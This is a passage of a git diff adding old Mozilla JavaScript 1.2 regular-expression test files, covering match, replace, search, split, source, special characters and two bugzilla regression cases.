+new TestCase ( SECTION, "'abcdefg'.match(new RegExp('d+'))",
+ String(['d']), String('abcdefg'.match(new RegExp('d+'))));
+
+// 'abbbbbbbc'.match(new RegExp('(b+)(b+)(b+)'))
+new TestCase ( SECTION, "'abbbbbbbc'.match(new RegExp('(b+)(b+)(b+)'))",
+ String(["bbbbbbb","bbbbb","b","b"]), String('abbbbbbbc'.match(new RegExp('(b+)(b+)(b+)'))));
+
+// 'abbbbbbbc'.match(new RegExp('(b+)(b*)'))
+new TestCase ( SECTION, "'abbbbbbbc'.match(new RegExp('(b+)(b*)'))",
+ String(["bbbbbbb","bbbbbbb",""]), String('abbbbbbbc'.match(new RegExp('(b+)(b*)'))));
+
+// 'abbbbbbbc'.match(new RegExp('b*b+'))
+new TestCase ( SECTION, "'abbbbbbbc'.match(new RegExp('b*b+'))",
+ String(['bbbbbbb']), String('abbbbbbbc'.match(new RegExp('b*b+'))));
+
+// 'abbbbbbbc'.match(/(b+)(b*)/)
+new TestCase ( SECTION, "'abbbbbbbc'.match(/(b+)(b*)/)",
+ String(["bbbbbbb","bbbbbbb",""]), String('abbbbbbbc'.match(/(b+)(b*)/)));
+
+// 'abbbbbbbc'.match(new RegExp('b*b+'))
+new TestCase ( SECTION, "'abbbbbbbc'.match(/b*b+/)",
+ String(['bbbbbbb']), String('abbbbbbbc'.match(/b*b+/)));
+
+test();
diff --git a/js/src/tests/js1_2/regexp/question_mark.js b/js/src/tests/js1_2/regexp/question_mark.js
new file mode 100644
index 000000000..e159be8bb
--- /dev/null
+++ b/js/src/tests/js1_2/regexp/question_mark.js
@@ -0,0 +1,67 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: question_mark.js
+ Description: 'Tests regular expressions containing ?'
+
+ Author: Nick Lerissa
+ Date: March 10, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var VERSION = 'no version';
+startTest();
+var TITLE = 'RegExp: ?';
+
+writeHeaderToLog('Executing script: question_mark.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// 'abcdef'.match(new RegExp('cd?e'))
+new TestCase ( SECTION, "'abcdef'.match(new RegExp('cd?e'))",
+ String(["cde"]), String('abcdef'.match(new RegExp('cd?e'))));
+
+// 'abcdef'.match(new RegExp('cdx?e'))
+new TestCase ( SECTION, "'abcdef'.match(new RegExp('cdx?e'))",
+ String(["cde"]), String('abcdef'.match(new RegExp('cdx?e'))));
+
+// 'pqrstuvw'.match(new RegExp('o?pqrst'))
+new TestCase ( SECTION, "'pqrstuvw'.match(new RegExp('o?pqrst'))",
+ String(["pqrst"]), String('pqrstuvw'.match(new RegExp('o?pqrst'))));
+
+// 'abcd'.match(new RegExp('x?y?z?'))
+new TestCase ( SECTION, "'abcd'.match(new RegExp('x?y?z?'))",
+ String([""]), String('abcd'.match(new RegExp('x?y?z?'))));
+
+// 'abcd'.match(new RegExp('x?ay?bz?c'))
+new TestCase ( SECTION, "'abcd'.match(new RegExp('x?ay?bz?c'))",
+ String(["abc"]), String('abcd'.match(new RegExp('x?ay?bz?c'))));
+
+// 'abcd'.match(/x?ay?bz?c/)
+new TestCase ( SECTION, "'abcd'.match(/x?ay?bz?c/)",
+ String(["abc"]), String('abcd'.match(/x?ay?bz?c/)));
+
+// 'abbbbc'.match(new RegExp('b?b?b?b'))
+new TestCase ( SECTION, "'abbbbc'.match(new RegExp('b?b?b?b'))",
+ String(["bbbb"]), String('abbbbc'.match(new RegExp('b?b?b?b'))));
+
+// '123az789'.match(new RegExp('ab?c?d?x?y?z'))
+new TestCase ( SECTION, "'123az789'.match(new RegExp('ab?c?d?x?y?z'))",
+ String(["az"]), String('123az789'.match(new RegExp('ab?c?d?x?y?z'))));
+
+// '123az789'.match(/ab?c?d?x?y?z/)
+new TestCase ( SECTION, "'123az789'.match(/ab?c?d?x?y?z/)",
+ String(["az"]), String('123az789'.match(/ab?c?d?x?y?z/)));
+
+// '?????'.match(new RegExp('\\??\\??\\??\\??\\??'))
+new TestCase ( SECTION, "'?????'.match(new RegExp('\\??\\??\\??\\??\\??'))",
+ String(["?????"]), String('?????'.match(new RegExp('\\??\\??\\??\\??\\??'))));
+
+// 'test'.match(new RegExp('.?.?.?.?.?.?.?'))
+new TestCase ( SECTION, "'test'.match(new RegExp('.?.?.?.?.?.?.?'))",
+ String(["test"]), String('test'.match(new RegExp('.?.?.?.?.?.?.?'))));
+
+test();
diff --git a/js/src/tests/js1_2/regexp/regress-6359.js b/js/src/tests/js1_2/regexp/regress-6359.js
new file mode 100644
index 000000000..5a63f0ac2
--- /dev/null
+++ b/js/src/tests/js1_2/regexp/regress-6359.js
@@ -0,0 +1,53 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: regress-6359.js
+ * Reference: ** replace with bugzilla URL or document reference **
+ * Description: ** replace with description of test **
+ * Author: ** replace with your e-mail address **
+ */
+
+var SECTION = "js1_2"; // provide a document reference (ie, ECMA section)
+var VERSION = "ECMA_2"; // Version of JavaScript or ECMA
+var TITLE = "Regression test for bugzilla # 6359"; // Provide ECMA section title or a description
+var BUGNUMBER = "http://bugzilla.mozilla.org/show_bug.cgi?id=6359"; // Provide URL to bugsplat or bugzilla report
+
+startTest(); // leave this alone
+
+/*
+ * Calls to AddTestCase here. AddTestCase is a function that is defined
+ * in shell.js and takes three arguments:
+ * - a string representation of what is being tested
+ * - the expected result
+ * - the actual result
+ *
+ * For example, a test might look like this:
+ *
+ * var zip = /[\d]{5}$/;
+ *
+ * AddTestCase(
+ * "zip = /[\d]{5}$/; \"PO Box 12345 Boston, MA 02134\".match(zip)", // description of the test
+ * "02134", // expected result
+ * "PO Box 12345 Boston, MA 02134".match(zip) ); // actual result
+ *
+ */
+
+AddTestCase( '/(a*)b\1+/.exec("baaac").length',
+ 2,
+ /(a*)b\1+/.exec("baaac").length );
+
+AddTestCase( '/(a*)b\1+/.exec("baaac")[0]',
+ "b",
+ /(a*)b\1+/.exec("baaac")[0]);
+
+AddTestCase( '/(a*)b\1+/.exec("baaac")[1]',
+ "",
+ /(a*)b\1+/.exec("baaac")[1]);
+
+
+test(); // leave this alone. this executes the test cases and
+// displays results.
diff --git a/js/src/tests/js1_2/regexp/regress-9141.js b/js/src/tests/js1_2/regexp/regress-9141.js
new file mode 100644
index 000000000..987995feb
--- /dev/null
+++ b/js/src/tests/js1_2/regexp/regress-9141.js
@@ -0,0 +1,72 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+
+/**
+ * File Name: regress-9141.js
+ * Reference: "http://bugzilla.mozilla.org/show_bug.cgi?id=9141";
+ * Description:
+ * From waldemar@netscape.com:
+ *
+ * The following page crashes the system:
+ *
+ * <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"
+ * "http://www.w3.org/TR/REC-html40/loose.dtd">
+ * <HTML>
+ * <HEAD>
+ * </HEAD>
+ * <BODY>
+ * <SCRIPT type="text/javascript">
+ * var s = "x";
+ * for (var i = 0; i != 13; i++) s += s;
+ * var a = /(?:xx|x)*[slash](s);
+ * var b = /(xx|x)*[slash](s);
+ * document.write("Results = " + a.length + "," + b.length);
+ * </SCRIPT>
+ * </BODY>
+ */
+
+var SECTION = "js1_2"; // provide a document reference (ie, ECMA section)
+var VERSION = "ECMA_2"; // Version of JavaScript or ECMA
+var TITLE = "Regression test for bugzilla # 9141"; // Provide ECMA section title or a description
+var BUGNUMBER = "http://bugzilla.mozilla.org/show_bug.cgi?id=9141"; // Provide URL to bugsplat or bugzilla report
+
+startTest(); // leave this alone
+
+/*
+ * Calls to AddTestCase here. AddTestCase is a function that is defined
+ * in shell.js and takes three arguments:
+ * - a string representation of what is being tested
+ * - the expected result
+ * - the actual result
+ *
+ * For example, a test might look like this:
+ *
+ * var zip = /[\d]{5}$/;
+ *
+ * AddTestCase(
+ * "zip = /[\d]{5}$/; \"PO Box 12345 Boston, MA 02134\".match(zip)", // description of the test
+ * "02134", // expected result
+ * "PO Box 12345 Boston, MA 02134".match(zip) ); // actual result
+ *
+ */
+
+var s = "x";
+for (var i = 0; i != 13; i++) s += s;
+var a = /(?:xx|x)*/.exec(s);
+var b = /(xx|x)*/.exec(s);
+
+AddTestCase( "var s = 'x'; for (var i = 0; i != 13; i++) s += s; " +
+ "a = /(?:xx|x)*/.exec(s); a.length",
+ 1,
+ a.length );
+
+AddTestCase( "var b = /(xx|x)*/.exec(s); b.length",
+ 2,
+ b.length );
+
+test(); // leave this alone. this executes the test cases and
+// displays results.
diff --git a/js/src/tests/js1_2/regexp/shell.js b/js/src/tests/js1_2/regexp/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_2/regexp/shell.js
diff --git a/js/src/tests/js1_2/regexp/simple_form.js b/js/src/tests/js1_2/regexp/simple_form.js
new file mode 100644
index 000000000..3c3e98dad
--- /dev/null
+++ b/js/src/tests/js1_2/regexp/simple_form.js
@@ -0,0 +1,58 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: simple_form.js
+ Description: 'Tests regular expressions using simple form: re.exec(...)'
+
+ Author: Nick Lerissa
+ Date: March 19, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var VERSION = 'no version';
+startTest();
+var TITLE = 'RegExp: simple form';
+
+writeHeaderToLog('Executing script: simple_form.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase ( SECTION,
+ "/[0-9]{3}/.exec('23 2 34 678 9 09')",
+ String(["678"]), String(/[0-9]{3}/.exec('23 2 34 678 9 09')));
+
+new TestCase ( SECTION,
+ "/3.{4}8/.exec('23 2 34 678 9 09')",
+ String(["34 678"]), String(/3.{4}8/.exec('23 2 34 678 9 09')));
+
+new TestCase ( SECTION,
+ "(/3.{4}8/.exec('23 2 34 678 9 09').length",
+ 1, (/3.{4}8/.exec('23 2 34 678 9 09')).length);
+
+var re = /[0-9]{3}/;
+new TestCase ( SECTION,
+ "re.exec('23 2 34 678 9 09')",
+ String(["678"]), String(re.exec('23 2 34 678 9 09')));
+
+re = /3.{4}8/;
+new TestCase ( SECTION,
+ "re.exec('23 2 34 678 9 09')",
+ String(["34 678"]), String(re.exec('23 2 34 678 9 09')));
+
+new TestCase ( SECTION,
+ "/3.{4}8/.exec('23 2 34 678 9 09')",
+ String(["34 678"]), String(/3.{4}8/.exec('23 2 34 678 9 09')));
+
+re =/3.{4}8/;
+new TestCase ( SECTION,
+ "(re.exec('23 2 34 678 9 09').length",
+ 1, (re.exec('23 2 34 678 9 09')).length);
+
+new TestCase ( SECTION,
+ "(/3.{4}8/.exec('23 2 34 678 9 09').length",
+ 1, (/3.{4}8/.exec('23 2 34 678 9 09')).length);
+
+test();
diff --git a/js/src/tests/js1_2/regexp/source.js b/js/src/tests/js1_2/regexp/source.js
new file mode 100644
index 000000000..84b226a43
--- /dev/null
+++ b/js/src/tests/js1_2/regexp/source.js
@@ -0,0 +1,56 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: source.js
+ Description: 'Tests RegExp attribute source'
+
+ Author: Nick Lerissa
+ Date: March 13, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var VERSION = 'no version';
+startTest();
+var TITLE = 'RegExp: source';
+
+writeHeaderToLog('Executing script: source.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+// /xyz/g.source
+new TestCase ( SECTION, "/xyz/g.source",
+ "xyz", /xyz/g.source);
+
+// /xyz/.source
+new TestCase ( SECTION, "/xyz/.source",
+ "xyz", /xyz/.source);
+
+// /abc\\def/.source
+new TestCase ( SECTION, "/abc\\\\def/.source",
+ "abc\\\\def", /abc\\def/.source);
+
+// /abc[\b]def/.source
+new TestCase ( SECTION, "/abc[\\b]def/.source",
+ "abc[\\b]def", /abc[\b]def/.source);
+
+// (new RegExp('xyz')).source
+new TestCase ( SECTION, "(new RegExp('xyz')).source",
+ "xyz", (new RegExp('xyz')).source);
+
+// (new RegExp('xyz','g')).source
+new TestCase ( SECTION, "(new RegExp('xyz','g')).source",
+ "xyz", (new RegExp('xyz','g')).source);
+
+// (new RegExp('abc\\\\def')).source
+new TestCase ( SECTION, "(new RegExp('abc\\\\\\\\def')).source",
+ "abc\\\\def", (new RegExp('abc\\\\def')).source);
+
+// (new RegExp('abc[\\b]def')).source
+new TestCase ( SECTION, "(new RegExp('abc[\\\\b]def')).source",
+ "abc[\\b]def", (new RegExp('abc[\\b]def')).source);
+
+test();
diff --git a/js/src/tests/js1_2/regexp/special_characters.js b/js/src/tests/js1_2/regexp/special_characters.js
new file mode 100644
index 000000000..1e40eb69d
--- /dev/null
+++ b/js/src/tests/js1_2/regexp/special_characters.js
@@ -0,0 +1,126 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: special_characters.js
+ Description: 'Tests regular expressions containing special characters'
+
+ Author: Nick Lerissa
+ Date: March 10, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var VERSION = 'no version';
+startTest();
+var TITLE = 'RegExp: special_charaters';
+
+writeHeaderToLog('Executing script: special_characters.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+// testing backslash '\'
+new TestCase ( SECTION, "'^abcdefghi'.match(/\^abc/)", String(["^abc"]), String('^abcdefghi'.match(/\^abc/)));
+
+// testing beginning of line '^'
+new TestCase ( SECTION, "'abcdefghi'.match(/^abc/)", String(["abc"]), String('abcdefghi'.match(/^abc/)));
+
+// testing end of line '$'
+new TestCase ( SECTION, "'abcdefghi'.match(/fghi$/)", String(["ghi"]), String('abcdefghi'.match(/ghi$/)));
+
+// testing repeat '*'
+new TestCase ( SECTION, "'eeeefghi'.match(/e*/)", String(["eeee"]), String('eeeefghi'.match(/e*/)));
+
+// testing repeat 1 or more times '+'
+new TestCase ( SECTION, "'abcdeeeefghi'.match(/e+/)", String(["eeee"]), String('abcdeeeefghi'.match(/e+/)));
+
+// testing repeat 0 or 1 time '?'
+new TestCase ( SECTION, "'abcdefghi'.match(/abc?de/)", String(["abcde"]), String('abcdefghi'.match(/abc?de/)));
+
+// testing any character '.'
+new TestCase ( SECTION, "'abcdefghi'.match(/c.e/)", String(["cde"]), String('abcdefghi'.match(/c.e/)));
+
+// testing remembering ()
+new TestCase ( SECTION, "'abcewirjskjdabciewjsdf'.match(/(abc).+\\1'/)",
+ String(["abcewirjskjdabc","abc"]), String('abcewirjskjdabciewjsdf'.match(/(abc).+\1/)));
+
+// testing or match '|'
+new TestCase ( SECTION, "'abcdefghi'.match(/xyz|def/)", String(["def"]), String('abcdefghi'.match(/xyz|def/)));
+
+// testing repeat n {n}
+new TestCase ( SECTION, "'abcdeeeefghi'.match(/e{3}/)", String(["eee"]), String('abcdeeeefghi'.match(/e{3}/)));
+
+// testing min repeat n {n,}
+new TestCase ( SECTION, "'abcdeeeefghi'.match(/e{3,}/)", String(["eeee"]), String('abcdeeeefghi'.match(/e{3,}/)));
+
+// testing min/max repeat {min, max}
+new TestCase ( SECTION, "'abcdeeeefghi'.match(/e{2,8}/)", String(["eeee"]), String('abcdeeeefghi'.match(/e{2,8}/)));
+
+// testing any in set [abc...]
+new TestCase ( SECTION, "'abcdefghi'.match(/cd[xey]fgh/)", String(["cdefgh"]), String('abcdefghi'.match(/cd[xey]fgh/)));
+
+// testing any in set [a-z]
+new TestCase ( SECTION, "'netscape inc'.match(/t[r-v]ca/)", String(["tsca"]), String('netscape inc'.match(/t[r-v]ca/)));
+
+// testing any not in set [^abc...]
+new TestCase ( SECTION, "'abcdefghi'.match(/cd[^xy]fgh/)", String(["cdefgh"]), String('abcdefghi'.match(/cd[^xy]fgh/)));
+
+// testing any not in set [^a-z]
+new TestCase ( SECTION, "'netscape inc'.match(/t[^a-c]ca/)", String(["tsca"]), String('netscape inc'.match(/t[^a-c]ca/)));
+
+// testing backspace [\b]
+new TestCase ( SECTION, "'this is b\ba test'.match(/is b[\b]a test/)",
+ String(["is b\ba test"]), String('this is b\ba test'.match(/is b[\b]a test/)));
+
+// testing word boundary \b
+new TestCase ( SECTION, "'today is now - day is not now'.match(/\bday.*now/)",
+ String(["day is not now"]), String('today is now - day is not now'.match(/\bday.*now/)));
+
+// control characters???
+
+// testing any digit \d
+new TestCase ( SECTION, "'a dog - 1 dog'.match(/\d dog/)", String(["1 dog"]), String('a dog - 1 dog'.match(/\d dog/)));
+
+// testing any non digit \d
+new TestCase ( SECTION, "'a dog - 1 dog'.match(/\D dog/)", String(["a dog"]), String('a dog - 1 dog'.match(/\D dog/)));
+
+// testing form feed '\f'
+new TestCase ( SECTION, "'a b a\fb'.match(/a\fb/)", String(["a\fb"]), String('a b a\fb'.match(/a\fb/)));
+
+// testing line feed '\n'
+new TestCase ( SECTION, "'a b a\nb'.match(/a\nb/)", String(["a\nb"]), String('a b a\nb'.match(/a\nb/)));
+
+// testing carriage return '\r'
+new TestCase ( SECTION, "'a b a\rb'.match(/a\rb/)", String(["a\rb"]), String('a b a\rb'.match(/a\rb/)));
+
+// testing whitespace '\s'
+new TestCase ( SECTION, "'xa\f\n\r\t\vbz'.match(/a\s+b/)", String(["a\f\n\r\t\vb"]), String('xa\f\n\r\t\vbz'.match(/a\s+b/)));
+
+// testing non whitespace '\S'
+new TestCase ( SECTION, "'a\tb a b a-b'.match(/a\Sb/)", String(["a-b"]), String('a\tb a b a-b'.match(/a\Sb/)));
+
+// testing tab '\t'
+new TestCase ( SECTION, "'a\t\tb a b'.match(/a\t{2}/)", String(["a\t\t"]), String('a\t\tb a b'.match(/a\t{2}/)));
+
+// testing vertical tab '\v'
+new TestCase ( SECTION, "'a\v\vb a b'.match(/a\v{2}/)", String(["a\v\v"]), String('a\v\vb a b'.match(/a\v{2}/)));
+
+// testing alphnumeric characters '\w'
+new TestCase ( SECTION, "'%AZaz09_$'.match(/\w+/)", String(["AZaz09_"]), String('%AZaz09_$'.match(/\w+/)));
+
+// testing non alphnumeric characters '\W'
+new TestCase ( SECTION, "'azx$%#@*4534'.match(/\W+/)", String(["$%#@*"]), String('azx$%#@*4534'.match(/\W+/)));
+
+// testing back references '\<number>'
+new TestCase ( SECTION, "'test'.match(/(t)es\\1/)", String(["test","t"]), String('test'.match(/(t)es\1/)));
+
+// testing hex excaping with '\'
+new TestCase ( SECTION, "'abcdef'.match(/\x63\x64/)", String(["cd"]), String('abcdef'.match(/\x63\x64/)));
+
+// testing oct excaping with '\'
+new TestCase ( SECTION, "'abcdef'.match(/\\143\\144/)", String(["cd"]), String('abcdef'.match(/\143\144/)));
+
+test();
+
diff --git a/js/src/tests/js1_2/regexp/string_replace.js b/js/src/tests/js1_2/regexp/string_replace.js
new file mode 100644
index 000000000..1b3c832fd
--- /dev/null
+++ b/js/src/tests/js1_2/regexp/string_replace.js
@@ -0,0 +1,92 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: string_replace.js
+ Description: 'Tests the replace method on Strings using regular expressions'
+
+ Author: Nick Lerissa
+ Date: March 11, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var VERSION = 'no version';
+startTest();
+var TITLE = 'String: replace';
+
+writeHeaderToLog('Executing script: string_replace.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+// 'adddb'.replace(/ddd/,"XX")
+new TestCase ( SECTION, "'adddb'.replace(/ddd/,'XX')",
+ "aXXb", 'adddb'.replace(/ddd/,'XX'));
+
+// 'adddb'.replace(/eee/,"XX")
+new TestCase ( SECTION, "'adddb'.replace(/eee/,'XX')",
+ 'adddb', 'adddb'.replace(/eee/,'XX'));
+
+// '34 56 78b 12'.replace(new RegExp('[0-9]+b'),'**')
+new TestCase ( SECTION, "'34 56 78b 12'.replace(new RegExp('[0-9]+b'),'**')",
+ "34 56 ** 12", '34 56 78b 12'.replace(new RegExp('[0-9]+b'),'**'));
+
+// '34 56 78b 12'.replace(new RegExp('[0-9]+c'),'XX')
+new TestCase ( SECTION, "'34 56 78b 12'.replace(new RegExp('[0-9]+c'),'XX')",
+ "34 56 78b 12", '34 56 78b 12'.replace(new RegExp('[0-9]+c'),'XX'));
+
+// 'original'.replace(new RegExp(),'XX')
+new TestCase ( SECTION, "'original'.replace(new RegExp(),'XX')",
+ "XXoriginal", 'original'.replace(new RegExp(),'XX'));
+
+// 'qwe ert x\t\n 345654AB'.replace(new RegExp('x\s*\d+(..)$'),'****')
+new TestCase ( SECTION, "'qwe ert x\t\n 345654AB'.replace(new RegExp('x\\s*\\d+(..)$'),'****')",
+ "qwe ert ****", 'qwe ert x\t\n 345654AB'.replace(new RegExp('x\\s*\\d+(..)$'),'****'));
+
+
+/*
+ * Test replacement over ropes. The char to rope node ratio must be sufficiently
+ * high for the special-case code to be tested.
+ */
+var stringA = "abcdef";
+var stringB = "ghijk";
+var stringC = "zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz";
+stringC += stringC;
+stringC += stringC;
+stringC[0]; /* flatten stringC */
+var stringD = "lmn";
+
+new TestCase ( SECTION, "(stringA + stringB + stringC).replace('aa', '')",
+ stringA + stringB + stringC, (stringA + stringB + stringC).replace('aa', ''));
+
+new TestCase ( SECTION, "(stringA + stringB + stringC).replace('abc', 'AA')",
+ "AAdefghijk" + stringC, (stringA + stringB + stringC).replace('abc', 'AA'));
+
+new TestCase ( SECTION, "(stringA + stringB + stringC).replace('def', 'AA')",
+ "abcAAghijk" + stringC, (stringA + stringB + stringC).replace('def', 'AA'));
+
+new TestCase ( SECTION, "(stringA + stringB + stringC).replace('efg', 'AA')",
+ "abcdAAhijk" + stringC, (stringA + stringB + stringC).replace('efg', 'AA'));
+
+new TestCase ( SECTION, "(stringA + stringB + stringC).replace('fgh', 'AA')",
+ "abcdeAAijk" + stringC, (stringA + stringB + stringC).replace('fgh', 'AA'));
+
+new TestCase ( SECTION, "(stringA + stringB + stringC).replace('ghi', 'AA')",
+ "abcdefAAjk" + stringC, (stringA + stringB + stringC).replace('ghi', 'AA'));
+
+new TestCase ( SECTION, "(stringC + stringD).replace('lmn', 'AA')",
+ stringC + "AA", (stringC + stringD).replace('lmn', 'AA'));
+
+new TestCase ( SECTION, "(stringC + stringD).replace('lmno', 'AA')",
+ stringC + stringD, (stringC + stringD).replace('lmno', 'AA'));
+
+new TestCase ( SECTION, "(stringC + stringD).replace('mn', 'AA')",
+ stringC + "lAA", (stringC + stringD).replace('mn', 'AA'));
+
+new TestCase ( SECTION, "(stringC + stringD).replace('n', 'AA')",
+ stringC + "lmAA", (stringC + stringD).replace('n', 'AA'));
+
+
+test();
diff --git a/js/src/tests/js1_2/regexp/string_search.js b/js/src/tests/js1_2/regexp/string_search.js
new file mode 100644
index 000000000..93c786fbe
--- /dev/null
+++ b/js/src/tests/js1_2/regexp/string_search.js
@@ -0,0 +1,55 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: string_search.js
+ Description: 'Tests the search method on Strings using regular expressions'
+
+ Author: Nick Lerissa
+ Date: March 12, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var VERSION = 'no version';
+startTest();
+var TITLE = 'String: search';
+
+writeHeaderToLog('Executing script: string_search.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// 'abcdefg'.search(/d/)
+new TestCase ( SECTION, "'abcdefg'.search(/d/)",
+ 3, 'abcdefg'.search(/d/));
+
+// 'abcdefg'.search(/x/)
+new TestCase ( SECTION, "'abcdefg'.search(/x/)",
+ -1, 'abcdefg'.search(/x/));
+
+// 'abcdefg123456hijklmn'.search(/\d+/)
+new TestCase ( SECTION, "'abcdefg123456hijklmn'.search(/\d+/)",
+ 7, 'abcdefg123456hijklmn'.search(/\d+/));
+
+// 'abcdefg123456hijklmn'.search(new RegExp())
+new TestCase ( SECTION, "'abcdefg123456hijklmn'.search(new RegExp())",
+ 0, 'abcdefg123456hijklmn'.search(new RegExp()));
+
+// 'abc'.search(new RegExp('$'))
+new TestCase ( SECTION, "'abc'.search(new RegExp('$'))",
+ 3, 'abc'.search(new RegExp('$')));
+
+// 'abc'.search(new RegExp('^'))
+new TestCase ( SECTION, "'abc'.search(new RegExp('^'))",
+ 0, 'abc'.search(new RegExp('^')));
+
+// 'abc1'.search(/.\d/)
+new TestCase ( SECTION, "'abc1'.search(/.\d/)",
+ 2, 'abc1'.search(/.\d/));
+
+// 'abc1'.search(/\d{2}/)
+new TestCase ( SECTION, "'abc1'.search(/\d{2}/)",
+ -1, 'abc1'.search(/\d{2}/));
+
+test();
diff --git a/js/src/tests/js1_2/regexp/string_split.js b/js/src/tests/js1_2/regexp/string_split.js
new file mode 100644
index 000000000..c810bff95
--- /dev/null
+++ b/js/src/tests/js1_2/regexp/string_split.js
@@ -0,0 +1,61 @@
+// |reftest| skip -- obsolete test
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: string_split.js
+ Description: 'Tests the split method on Strings using regular expressions'
+
+ Author: Nick Lerissa
+ Date: March 11, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var VERSION = 'no version';
+startTest();
+var TITLE = 'String: split';
+
+writeHeaderToLog('Executing script: string_split.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+// 'a b c de f'.split(/\s/)
+new TestCase ( SECTION, "'a b c de f'.split(/\s/)",
+ String(["a","b","c","de","f"]), String('a b c de f'.split(/\s/)));
+
+// 'a b c de f'.split(/\s/,3)
+new TestCase ( SECTION, "'a b c de f'.split(/\s/,3)",
+ String(["a","b","c"]), String('a b c de f'.split(/\s/,3)));
+
+// 'a b c de f'.split(/X/)
+new TestCase ( SECTION, "'a b c de f'.split(/X/)",
+ String(["a b c de f"]), String('a b c de f'.split(/X/)));
+
+// 'dfe23iu 34 =+65--'.split(/\d+/)
+new TestCase ( SECTION, "'dfe23iu 34 =+65--'.split(/\d+/)",
+ String(["dfe","iu "," =+","--"]), String('dfe23iu 34 =+65--'.split(/\d+/)));
+
+// 'dfe23iu 34 =+65--'.split(new RegExp('\d+'))
+new TestCase ( SECTION, "'dfe23iu 34 =+65--'.split(new RegExp('\\d+'))",
+ String(["dfe","iu "," =+","--"]), String('dfe23iu 34 =+65--'.split(new RegExp('\\d+'))));
+
+// 'abc'.split(/[a-z]/)
+new TestCase ( SECTION, "'abc'.split(/[a-z]/)",
+ String(["","",""]), String('abc'.split(/[a-z]/)));
+
+// 'abc'.split(/[a-z]/)
+new TestCase ( SECTION, "'abc'.split(/[a-z]/)",
+ String(["","",""]), String('abc'.split(/[a-z]/)));
+
+// 'abc'.split(new RegExp('[a-z]'))
+new TestCase ( SECTION, "'abc'.split(new RegExp('[a-z]'))",
+ String(["","",""]), String('abc'.split(new RegExp('[a-z]'))));
+
+// 'abc'.split(new RegExp('[a-z]'))
+new TestCase ( SECTION, "'abc'.split(new RegExp('[a-z]'))",
+ String(["","",""]), String('abc'.split(new RegExp('[a-z]'))));
+
+test();
diff --git a/js/src/tests/js1_2/regexp/test.js b/js/src/tests/js1_2/regexp/test.js
new file mode 100644
index 000000000..588520eb4
--- /dev/null
+++ b/js/src/tests/js1_2/regexp/test.js
@@ -0,0 +1,55 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: test.js
+ Description: 'Tests regular expressions method compile'
+
+ Author: Nick Lerissa
+ Date: March 10, 1998
+*/
+
